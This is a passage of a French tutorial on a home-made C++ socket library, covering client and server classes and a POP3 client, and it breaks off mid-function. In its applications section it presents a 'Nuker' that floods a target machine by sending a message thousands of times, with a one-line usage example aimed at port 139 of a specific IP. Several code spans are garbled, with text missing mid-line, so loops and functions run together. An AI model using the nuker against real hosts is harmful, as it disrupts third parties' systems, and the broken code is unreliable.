créé un namespace, afin d'être sûr de ne pas entrer en conflit avec d'autres fonctions d'autres librairies. Chaque classe à un nom de la forme Cxxx. la classe de base se nomme CBazSocket, et la classe fille Serveur se nomme CServeur par exemple. Vous pouvez donc aperçevoir 8 classes filles, à savoir : CServeur /*Serveur universel*/ CClient /*Client universel*/ CApplications /*Diverses applications telles que sniffer, nuker, ...*/ CInformations /*Informations sur un serveur, sur un protocole, ...*/ CPOP3 /*Protocole POP3*/ CFTP /*Protocole FTP*/ CHTTP /*Protocole HTTP*/ CSMTP /*Protocole SMTP*/ J'ai jugé utile d'utiliser le polymorphisme, notamment pour l'utilisation de listes chaînées d'objets ! De même il est à savoir que les classes d'applications et de protocoles sont une surcouche des classes CServeur et CClient, en les réutilisant. [ L'Errorlevel ] Il faut laisser le pouvoir au développeur utilisateur des classes de récupérer et intercépter les erreurs afin que le puisse les afficher à sa manière ( par exemple dans une boîte de dialogue visuelle ). Pour cela il m'a semblé nécéssaire de créer des Errorlevel. J'ai donc défini un tableau d'entiers courts, nommé 'possible', dont chaque élément correspond à une opération élémentaire d'une fonction membre d'une classe. Par exemple si la fonction Creer() ( fontion 1, donc indice 0 du tableau) de la classe CServeur a 5 opérations élémentaires, il faut que possible[0] = 5. Ceci n'est pas d'une originalité frappante, vous devez donc connaître le principe. Maintenant que l'architecture a été mise en place, passons aux choses intéressantes :) II. Client/Serveur Universels : ________________________________ Les 2 classes filles sans conteste les plus importantes sont bien sûr CServeur et CClient. Ces classes comportent chacunes les même fonctions membres (d'où l'utilité du polymorphisme), à savoir : virtual void Creer(); virtual void Options(int niveau, int option, char *valeur); virtual void Options(int niveau, int option, int valeur); virtual void Connecter(); virtual void Envoyer(char *msg, long int taille); virtual void Recevoir(long int taillemin, long int taillemax); virtual void Deconnecter(); Ces fonctions sont à la base de tout, et contiennent chacune les vérifications nécéssaires pour se permettre de les appeler dans n'importe quel ordre, jusqu'à ce que le bon ordre soit créé afin de créé le client ou le serveur voulu. Bien sûr c'est inutile de les appeler dans le désordre, mais je dois pouvoir tout prévoir. Là encore rien de spécatculaire dans ces vérifications d'erreurs ! A savoir que le constructeur reçoit divers paramètre nécessaires à toutes les méthodes de la classe. Etudions sans plus attendre la fonction Creer(), qui se contente de créer le socket : 1- Dans le cas du client : void CClient::Creer() { char *a = new char[256]; possible[0] = 0; if ((cli = socket(domaine, type, protocole)) == -1) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) perror("\tClient : Erreur de socket "); } else { possible[0]++; if (verbose) { AfficherHeure(); cout << " : Client : Socket valide\n"; } if((he = gethostbyname(nomserveur)) == NULL) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) perror("\tClient : Erreur d'obtention des infos sur le serveur "); } else { possible[0]++; if (verbose) { AfficherHeure(); if (domaine == PF_INET) { if (inet_ntop(PF_INET, (in_addr *)he->h_addr_list[0], a, 256) == NULL) fprintf(stderr, " : Client : Impossible de déterminer l'IP du serveur (distant) ?!?!\n"); else cout << " : Client : Infos sur " << nomserveur << " (" << a << ") trouvées\n"; } /*else { if (inet_ntop(PF_INET6, (in6_addr *)he->h_addr_list[0], a, 256) == NULL) cout << " : Client : Impossible de déterminer l'IP du serveur (distant) ?!?!\n"; else cout << " : Client : Infos sur " << nomserveur << " (" << a << ") trouvées\n"; }*/ } if (domaine == PF_INET) { memset(&sonin, 0, sockaddr_in_len); sonin.sin_family = domaine; sonin.sin_port = htons(port); sonin.sin_addr.s_addr = ((in_addr *)he->h_addr_list[0])->s_addr; /*ou bien (*(in_addr_t *)he->h_addr_list[0]) ...*/ } /*else { memset(&sonin6, 0, sockaddr_in6_len); sonin6.sin_family = domaine; sonin6.sin_port = htons(port); sonin6.sin_addr.s_addr = ((in6_addr *)he->h_addr_list[0])->s_addr; }*/ if (sonin.sin_addr.s_addr == INADDR_NONE /*|| sonin6.sin_addr.s_addr == INADDR_NONE*/) /*---- Début Opération élémentaire 3 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client : Impossible de trouver le serveur %s\n", nomserveur); } } else { possible[0]++; if (verbose) { AfficherHeure(); cout << " : Client : Hôte " << nomserveur << " trouvé\n"; } } /*---- Fin Opération élémentaire 3 ----*/ } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ delete[] a; } Vous remarquerez que j'ai bien indiqué les opérations élémentaires, ici possible[0] doit valoir 3 pour être certain que tout a bien fonctionné. 2- Dans le cas du serveur : void CServeur::Creer() { possible[0] = 0; if (port < 1) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Serveur : Impossible de se travailler car le numéro de port local(%d) est invalide\n\tChoisissez entre 1 et 65535\n", port); } } else { possible[0]++; if ((srv = socket(domaine, type, protocole)) == -1) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) perror("\tServeur : Erreur de socket "); } else { possible[0]++; if (verbose) { AfficherHeure(); cout << " : Serveur : Socket valide\n"; } } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ } Si vous êtes familier des sockets, vous pourrez constater que la plupart du code est dédié à la gestion des erreurs. J'ai beaucoup insisté sur ce dernier point afin de créer des classes robustes. Voilà maintenant le code de CClient::Connecter() : void CClient::Connecter() { long int i = 0; char *a = new char[256]; possible[1] = 0; if (possible[0] == 3) { if (domaine == PF_INET) /*Ne fait pas partie d'une opération élémentaire*/ { memset(&monin, 0, sockaddr_in_len); monin.sin_family = domaine; monin.sin_port = htons(portdenvoi); monin.sin_addr.s_addr = htonl(INADDR_ANY); i = bind(cli, (struct sockaddr *)&monin, sockaddr_in_len); } /*else { memset(&monin6, 0, sockaddr_in6_len); monin6.sin_family = domaine; monin6.sin_port = htons(portdenvoi); monin6.sin_addr.s_addr = htonl(INADDR_ANY); i = bind(cli, (struct sockaddr *)&monin6, sockaddr_in6_len); }*/ if (i == -1) { if (verbose) perror("\tClient : Impossible d'associer la socket à une addresse "); close(cli); } else { if (verbose) { AfficherHeure(); cout << " : Client : Socket associé à une adresse\n"; } } } /*Ne fait pas partie d'une opération élémentaire*/ if (possible[0] != 3 || type != SOCK_STREAM) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client : Impossible de se connecter, raisons possibles :\n\t* Le socket n'a pas été créé\n\t* Il s'agit d'un socket qui ne nécessite pas de connexion (SOCK_DGRAM, ...)\n"); } } else { possible[1]++; if (port < 1 || port > 65535) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client : Impossible de travailler car le numéro de port distant (%d) est invalide\n\tChoisissez entre 1 et 65535\n", port); } } else { possible[1]++; if (domaine == PF_INET) i = connect(cli, (struct sockaddr *)&sonin, sockaddr_in_len); /*else i = connect(cli, (struct sockaddr *)&sonin6, sockaddr_in6_len);*/ if (i == -1) /*---- Début Opération élémentaire 3 ----*/ { if (verbose) perror("\tClient : Impossible de se connecter au socket "); close(cli); } else { possible[1]++; if (verbose) { AfficherHeure(); cout << " : Client : Connecté au serveur distant " << nomserveur << endl; } memset(&monin, 0, sockaddr_in_len); memset(&monin6, 0, sockaddr_in6_len); if (domaine == PF_INET) i = getsockname(cli, (struct sockaddr *)&monin, &sockaddr_in_len); /*else i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin6, &sockaddr_in6_len);*/ if (i == -1) /*---- Début Opération élémentaire 4 ----*/ { if (verbose) perror("\tClient : Impossible d'obtenir des infos sur le client "); } else { possible[1]++; if (verbose) { if (domaine == PF_INET) { cout << "\t\tFamille du socket local : " << monin.sin_family << endl; cout << "\t\tPort du client (local) ouvert : " << ntohs(monin.sin_port) << endl; if (inet_ntop(PF_INET, &monin.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du client (local) ?!?!\n"; else cout << "\t\tIP du client (local) : " << a << endl; } /*else { cout << "\t\tFamille du socket local : " << monin6.sin_family << endl; cout << "\t\tPort du client (local) ouvert : " << ntohs(monin6.sin_port) << endl; if (inet_ntop(PF_INET6, &monin6.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du client (local) ?!?!\n"; else cout << "\t\tIP du client (local) : " << a << endl; }*/ } memset(&sonin, 0, sockaddr_in_len); memset(&sonin6, 0, sockaddr_in6_len); if (domaine == PF_INET) i = getpeername(cli, (struct sockaddr *)&sonin, &sockaddr_in_len); /*else i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/ if (i == -1) /*---- Début Opération élémentaire 5 ----*/ { if (verbose) perror("\tClient : Impossible d'obtenir des infos sur le serveur "); } else { possible[1]++; if (verbose) { if (domaine == PF_INET) { cout << "\t\tFamille du socket distant : " << sonin.sin_family << endl; cout << "\t\tPort du serveur (distant) ouvert : " << ntohs(sonin.sin_port) << endl; if (inet_ntop(PF_INET, &sonin.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du serveur (distant) ?!?!\n"; else cout << "\t\tIP du serveur (distant) : " << a << endl; } /*else { cout << "\t\tFamille du socket distant : " << sonin6.sin_family << endl; cout << "\t\tPort du serveur (distant) ouvert : " << ntohs(sonin6.sin_port) << endl; if (inet_ntop(PF_INET6, &sonin6.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du serveur (distant) ?!?!\n"; else cout << "\t\tIP du serveur (distant) : " << a << endl; }*/ } } /*---- Fin Opération élémentaire 5 ----*/ } /*---- Fin Opération élémentaire 4 ----*/ } /*---- Fin Opération élémentaire 3 ----*/ } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ delete[] a; } Vous pouvez lire le manuel ("man commande") des fonctions getpeername et getsockname. Analysez bien les 5 opérations élémentaires. Vous remarquerez que je connecte le socket au serveur distant qui se nomme 'nomserveur', initialisé lors de l'appel au constructeur, après avoir bindé le socket à un port local (opération souvent inutile dans le cas d'un client. Les fonctions surchargées Options() peuvent ne pas être utilisées, je ne expliquerai pas ici ! Voici le code de CServeur::Connecter() void CServeur::Connecter() { long int i = 0; char *a = new char[256]; possible[1] = 0; if (possible[0] == 2) /*Ne fait pas partie d'une opération élémentaire*/ { if (domaine == PF_INET) { memset(&monin, 0, sockaddr_in_len); monin.sin_family = domaine; monin.sin_port = htons(port); monin.sin_addr.s_addr = htonl(INADDR_ANY); i = bind(srv, (struct sockaddr *)&monin, sockaddr_in_len); } /*else { memset(&monin6, 0, sockaddr_in6_len); monin6.sin_family = domaine; monin6.sin_port = htons(port); monin6.sin_addr.s_addr = htonl(INADDR_ANY); i = bind(srv, (struct sockaddr *)&monin6, sockaddr_in6_len); }*/ if (i == -1) { if (verbose) perror("\tServeur : Impossible d'associer la socket à une addresse "); close(srv); } else { if (verbose) { AfficherHeure(); cout << " : Serveur : Socket associé à une adresse\n"; } } } /*Ne fait pas partie d'une opération élémentaire*/ if (possible[0] != 2 || type != SOCK_STREAM) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Serveur : Impossible de se connecter, raisons possibles :\n\t* Le socket n'a pas été créé\n\t* Il s'agit d'un socket qui ne nécessite pas de connexion (SOCK_DGRAM, ...)\n"); } } else { possible[1]++; if (listen(srv, 1) == -1) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) perror("\tServeur : Erreur sur listen avec la socket "); close(srv); } else { possible[1]++; if (verbose) { AfficherHeure(); cout << " : Serveur : Listen correctement réalisé sur le port " << port << "\n\tAttente de connexion d'un client ... ... ...\n"; } memset(&sonin, 0, sockaddr_in_len); memset(&sonin6, 0, sockaddr_in6_len); while (true) { if (domaine == PF_INET) srv_cli_cnt = accept(srv, (struct sockaddr *)&sonin, &sockaddr_in_len); /*else srv_cli_cnt = accept(srv, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/ if (srv_cli_cnt == -1) /*---- Début Opération élémentaire 3 ----*/ { if (verbose) perror("\tServeur : Erreur de socket "); close(srv); } else { possible[1]++; if (verbose) { AfficherHeure(); cout << " : Serveur : Un client distant est connecté\n"; } memset(&monin, 0, sockaddr_in_len); memset(&monin6, 0, sockaddr_in6_len); if (domaine == PF_INET) i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin, &sockaddr_in_len); /*else i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin6, &sockaddr_in6_len);*/ if (i == -1) /*---- Début Opération élémentaire 4 ----*/ { if (verbose) perror("\tServeur : Impossible d'obtenir des infos sur le serveur "); } else { possible[1]++; if (verbose) { if (domaine == PF_INET) { cout << "\t\tFamille du socket local : " << monin.sin_family << endl; cout << "\t\tPort du serveur (local) ouvert : " << ntohs(monin.sin_port) << endl; if (inet_ntop(PF_INET, &monin.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du serveur (local) ?!?!\n"; else cout << "\t\tIP du serveur (local) : " << a << endl; } /*else { cout << "\t\tFamille du socket local : " << monin6.sin_family << endl; cout << "\t\tPort du serveur (local) ouvert : " << ntohs(monin6.sin_port) << endl; if (inet_ntop(PF_INET6, &monin6.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du serveur (local) ?!?!\n"; else cout << "\t\tIP du serveur (local) : " << a << endl; }*/ } memset(&sonin, 0, sockaddr_in_len); memset(&sonin6, 0, sockaddr_in6_len); if (domaine == PF_INET) i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin, &sockaddr_in_len); /*else i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/ if (i == -1) /*---- Début Opération élémentaire 5 ----*/ { if (verbose) perror("\tServeur : Impossible d'obtenir des infos sur le client "); } else { possible[1]++; if (verbose) { if (domaine == PF_INET) { cout << "\t\tFamille du socket distant : " << sonin.sin_family << endl; cout << "\t\tPort du client (distant) ouvert : " << ntohs(sonin.sin_port) << endl; if (inet_ntop(PF_INET, &sonin.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du client (distant) ?!?!\n"; else cout << "\t\tIP du client (distant) : " << a << endl; } /*else { cout << "\t\tFamille du socket distant : " << sonin6.sin_family << endl; cout << "\t\tPort du client (distant) ouvert : " << ntohs(sonin6.sin_port) << endl; if (inet_ntop(PF_INET6, &sonin6.sin_addr, a, 256) == NULL) cout << "\t\tImpossible de déterminer l'IP du client (distant) ?!?!\n"; else cout << "\t\tIP du client (distant) : " << a << endl; }*/ } close (srv); break; /*TRES IMPORTANT, sinon continue la boucle même si un client s'est connecté*/ } /*---- Fin Opération élémentaire 5 ----*/ } /*---- Fin Opération élémentaire 4 ----*/ } /*---- Fin Opération élémentaire 3 ----*/ } /*Fin while(1)*/ } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ delete[] a; } La grande différence avec le méthode du Client, est l'attente (listen puis une boucle infinie avec connect). Ne surtout pas oublier l'instruction break à la fin de la boucle infinie, pour qu'il ne continue pas à attendre un client lorsqu'il en a trouvé un ! A partir de maintenant, les fonctions seront presqu'identiques entre CClient et CServeur, je ne montrarai donc que celles de Client. Voici CClient::Envoyer() void CClient::Envoyer(char *msg, long int taille) { possible[2] = 0; if (possible[0] != 3 || (type == SOCK_STREAM && possible[1] != 5)) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client : Impossible d'envoyer, raisons possibles :\n\t* Le socket n'a pas été créé\n\t* Le socket a été créé mais n'est pas connecté\n"); } taillebuffcli = 0; } else { possible[2]++; if (type != SOCK_STREAM) { if (domaine == PF_INET) taillebuffcli = sendto(cli, msg, taille, 0, (struct sockaddr *)&sonin, sockaddr_in_len); /*else *taille = sendto(cli, msg, strlen(msg), 0, (struct sockaddr *)&sonin6, sockaddr_in6_len);*/ } else taillebuffcli = send(cli, msg, taille, 0); if (taillebuffcli < 1) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) perror("\tClient : Erreur d'envoi "); } else { possible[2]++; /*---- Fin Opération élémentaire 2 ----*/ if (affichage == 1) AfficherASCII(msg, taillebuffcli); if (affichage == 2) AfficherHexa(msg, taillebuffcli); if (affichage == 3) EnregDansFichier(msg, taillebuffcli, chemin, ajout); } } /*---- Fin Opération élémentaire 1 ----*/ } C'est ici d'une simplicité élémentaire (oui OK j'exagère :) , je vous laisse le soin de regarder ce court code. Voici CClient::Recevoir(), très simple aussi : void CClient::Recevoir(long int taillemin, long int taillemax) { long int i = 0; if (taillemin > taillemax) taillemin = taillemax; buffcli = new char[taillemax]; for (i=0; iCreer(); /*Optionnel, seulement si on veut configurer les options du socket*/ if (type == SOCK_STREAM) o_baz->Options(SOL_SOCKET, SO_REUSEADDR, 1); else if (type == SOCK_DGRAM) o_baz->Options(SOL_SOCKET, IP_ADD_MEMBERSHIP, "224.0.0.0"); /*Connexion si nécéssaire*/ o_baz->Connecter(); /*Réception de données*/ o_baz->AfficherHeure(); cout << " : Serveur : Ecoute\nSaisir le mot-clé de votre choix, qui permet, lorsqu'il est reçu, d'arrêter l'écoute\n"; cin >> msgquit; cout << "Ecoute activée ... ... (elle sera terminée à la réception du mot '" << msgquit << "')\n\n"; do { o_baz->Recevoir(0, 102400); } while (strcmp(o_baz->buffsrv, msgquit) && strcmp(o_baz->buffsrv, strcat(msgquit, "\n")) && o_baz->possible[3] == 2); /*Envoi de données si possible*/ o_baz->AfficherHeure(); cout << " : Serveur : Envoi\nSaisir le mot-clé de votre choix, qui permet, lorsqu'il est tapé, d'arrêter l'envoi\n"; cin >> msgquit; cout << "\t\tTapez maintenant les phrases à envoyer, validez par [Entrée]\n\t\tflèche droite pour les espaces, '" << msgquit << "' pour quitter\n\n"; do { fgets(msg, 102400, stdin); o_baz->Envoyer(msg, strlen(msg)); } while (strcmp(msg, msgquit) && o_baz->possible[2] == 2); /*Déconnexion si nécéssaire*/ o_baz->Deconnecter(); Etudions maintenant des Classes utilisant CClient et CServeur III. Programmes et Protocoles : _______________________________ Nous étudierons une méthode de CApplications, et une de classe de protocole ( je n'ai implémenté que le protocole POP3 pour l'instant ). Chaque protocole a une classe qui lui est dédiée, contrairement aux applications qui n'ont qu'une fonction membre. Etudions la fonction membre Nuker de la classe CApplications : void CApplications::Nuker(char *nomserveur, char *msg, unsigned short int port, unsigned long int nbrfois) { unsigned long int i = 0; long int j = 0; char *a = new char[256]; possible[0] = 0; o_baz = new CInformations(verbose, 1); o_baz->Serveur(nomserveur); if (o_baz->he == NULL) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Nuker : Impossible d'obtenir des infos sur l'hôte à scanner\n"); } } else { possible[0]++; if (inet_ntop(PF_INET, (in_addr *)o_baz->he->h_addr_list[0], a, 256) == NULL) /*---- Début Opération élémentaire 2 ----*/ { /*if (inet_ntop(PF_INET6, (in6_addr *)o_baz->he->h_addr_list[0], a, 256) != NULL) { possible[0]++; o_baz = new CClient(a, port, 0, PF_INET6, SOCK_STREAM, 0, verbose, 1); }*/ } else { possible[0]++; o_baz = new CClient(a, port, 0, PF_INET, SOCK_STREAM, 0, verbose, 1); } /*---- Fin Opération élémentaire 2 ----*/ o_baz->Creer(); o_baz->Connecter(); if (o_baz->possible[1] != 5) /*---- Début Opération élémentaire 3 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Nuker : Impossible de se connecter\n"); } } else { possible[0]++; for (i=0; ipossible[2] == 2; i++) /*---- Début Opération élémentaire 4 ----*/ { o_baz->Envoyer(msg, strlen(msg)); if (o_baz->taillebuffcli > 0 && verbose) { AfficherHeure(); cout << "(Envoi n°" << i+1 << ")\n"; } else { if (verbose) fprintf(stderr, "erreur d'envoi\n"); } } o_baz->Deconnecter(); if (verbose) { AfficherHeure(); cout << " : Nuker : Nuke de la machine " << nomserveur << " réussi\n"; } possible[0]++; /*---- Fin Opération élémentaire 4 ----*/ } /*---- Fin Opération élémentaire 3 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ delete[] a; } Il s'agit d'un bête nuker pas spécialement optimisé (pour celà il faut le faire en C), mais qui présente l'avantage d'une réelle simplicité. En effet on peut créer un nuker en 1 ligne de code en utilisant cette classe : CBazSocket *o_baz = new CApplications(true, 2); o_baz->Nuker(156.123.12.76, "hihihihihi", 139, 10000); Enverra 10000 fois le message "hihihihihi" à 156.123.12.76 sur son port 139. Facile non ? Maintenant étudions la mise en oeuvre du protocole POP3, que j'ai réalisé en lisant la RFC 1939. Voici la définition de la classe CPOP3 : class CPOP3 : public CBazSocket { public : CPOP3(bool verbose = true, short int affichage = 1); virtual ~CPOP3(); virtual void ClientPOP3_Connecter(char *nomserveur); /*possible[0] // 4 opérations élémentaires*/ virtual void ClientPOP3_UserPass(char *user, char *pass); /*possible[1] // 3 opérations élémentaires*/ //virtual void ClientPOP3_APOP(char *user, char *pass); /*possible[1] // x opérations élémentaires*/ virtual void ClientPOP3_Stats(); /*possible[2] // x opérations élémentaires*/ virtual void ClientPOP3_Lister(unsigned long int numero = 0); /*possible[2] // x opérations élémentaires*/ /*Mettez 0 comme argument (ou bien aucun argument) pour tout lister*/ virtual void ClientPOP3_VoirEnTete(unsigned short int numero = 1, unsigned long int nbrlignes = 0); /*possible[2] // x opérations élémentaires*/ virtual void ClientPOP3_AfficherMail(unsigned short int numero = 1, long int taillemin = 10, long int taillemax = 10); /*possible[2] // x opérations élémentaires*/ virtual void ClientPOP3_EffacerMail(unsigned short int numero = 0); /*possible[2] // x opérations élémentaires*/ virtual void ClientPOP3_RestaurerTous(); /*possible[2] // x opérations élémentaires*/ virtual void ClientPOP3_Quitter(); /*possible[2] // x opérations élémentaires*/ virtual void ServeurPOP3(); private : CBazSocket *o_baz; bool ClientPOP3_Recevoir(long int taillemin, long int taillemax); struct listage { short int nbrmails; short int *taillesmails; }; }; Vous remarquerez le membre private *o_baz, qui est un pointeur vers un objet de la classe de base, afin d'utiliser CClient. Nous allons nous intéresser au client POP3, qui doit se connecter à un serveur POP3. Pour tester mon client POP3 sans être constamment sur le Net, j'ai aussi créé le serveur POP3, qui est donc un environnement de test pour le client, mais qui ne nous intéressera pas ici. A noter que comme pour les Réseau de Neurones, l'environnement de test est aussi dur à réaliser que le Réseau de Neurones en lui-même (bon c'était pas tout à fait le cas ici malgré tout ;) Etudions la première fonction, Connecter() : void CPOP3::ClientPOP3_Connecter(char *nomserveur) { buffpop3 = new char[256]; possible[0] = 0; o_baz = new CInformations(verbose); o_baz->Serveur(nomserveur); if (o_baz->he == NULL) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible d'obtenir des infos sur le serveur POP3\n"); } } else { possible[0]++; if (inet_ntop(PF_INET, (in_addr *)o_baz->he->h_addr_list[0], buffpop3, 256) == NULL) /*---- Début Opération élémentaire 2 ----*/ { /*if (inet_ntop(PF_INET6, (in6_addr *)o_baz->he->h_addr_list[0], buffpop3, 256) != NULL) { possible[0]++; o_baz = new CClient(a, 110, 0, PF_INET6, SOCK_STREAM, 0, false, 2); }*/ } else { possible[0]++; o_baz = new CClient(buffpop3, 110, 0, PF_INET, SOCK_STREAM, 0, verbose, 2); } /*---- Fin Opération élémentaire 2 ----*/ o_baz->Creer(); o_baz->Options(SOL_SOCKET, SO_RCVBUF, 102400); o_baz->Connecter(); if (o_baz->possible[1] != 5) /*---- Début Opération élémentaire 3 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible de se connecter sur %s\n", nomserveur); } } else { possible[0]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Connexion réussie sur " << nomserveur << endl; } if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 4 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Erreur\n\t"); } } else { possible[0]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : +OK\n\t"; } } /*---- Fin Opération élémentaire 4 ----*/ } /*---- Fin Opération élémentaire 3 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ } On recherche donc d'abord le serveur grâce à la classe CInformations, et plus précisément sa fonction membre Serveur() (informations sur un serveur). Ensuite on réutilise le pointeur de la classe de base pour stocker un objet de type CClient. Puis ce client se connecte tout simplement au serveur POP3 ! Voici maintenant la méthode permettant de s'identifier : void CPOP3::ClientPOP3_UserPass(char *user, char *pass) { buffpop3 = new char[256]; short int afftmp = o_baz->affichage; possible[1] = 0; if (possible[0] != 4) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible de s'identifier, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n"); } } else { possible[1]++; if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission du nom d'utilisateur " << user << endl; } sprintf(buffpop3, "USER %s\r\n", user); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : L'user %s est inconnu\n\t", user); } } else { possible[1]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : User OK\n\t"; } if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission du mot de passe " << endl; } sprintf(buffpop3, "PASS %s\r\n", pass); o_baz->affichage = 0; /*Ne pas afficher le pass envoyer*/ o_baz->Envoyer(buffpop3, strlen(buffpop3)); o_baz->affichage = afftmp; if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 3 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Le password est mauvais\n\t"); } } else { possible[1]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Password OK\n\t"; } CPOP3::ClientPOP3_Lister(); } /*---- Fin Opération élémentaire 3 ----*/ } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ memset(pass, 0, strlen(pass)+1); /*Effacement total du mot de passe*/ memset(buffpop3, 0, strlen(buffpop3)+1); /*Effacement total du mot de passe*/ } La RFC indique que le client doit envoyer la commande USER nomutilisateur\r\n puis PASS password\r\n, ce que fait donc cette méthode en utilisant ses arguments. void CPOP3::ClientPOP3_Stats() { buffpop3 = new char[256]; possible[2] = 0; if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible d'afficher les statistiques de votre compte, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n"); } } else { possible[2]++; if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission de la requête de statistiques du compte\n"; } sprintf(buffpop3, "STAT\r\n"); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible de reçevoir les statistiques du compte\n\t"); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Statistiques reçues\n\t"; } if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission de la requête de statistiques des messages\n"; } sprintf(buffpop3, "UIDL\r\n"); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 3 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible de reçevoir les staistiques des messages\n\t"); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Statistiques reçues\n\t"; } } /*---- Fin Opération élémentaire 3 ----*/ } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ } Les commandes STAT\r\n et UIDL\r\n font partie de la RFC, et permettent d'obtenir des informations à propos des messages ou du compte. Maintenant listons nos mails, avec la commande LIST de la RFC : void CPOP3::ClientPOP3_Lister(unsigned long int numero) { buffpop3 = new char[256]; possible[2] = 0; if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible de lister vos mails, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n"); } } else { possible[2]++; if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission de la requête de listage\n"; } if (numero > 0) sprintf(buffpop3, "LIST %d\r\n", numero); else sprintf(buffpop3, "LIST\r\n"); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible de lister les mails\n\t"); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Listage OK\n\t"; } } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ ; } Puis voyons l'en-tête d'un mail donné avec la commande optionnelle de la RFC, mais en générale implémentée dans les serveurs, à savoir TOP : void CPOP3::ClientPOP3_VoirEnTete(unsigned short int numero, unsigned long int nbrlignes) { buffpop3 = new char[256]; possible[2] = 0; if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible d'afficher l'en-tête du mail n° %d, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n", numero); } } else { possible[2]++; if (verbose) { 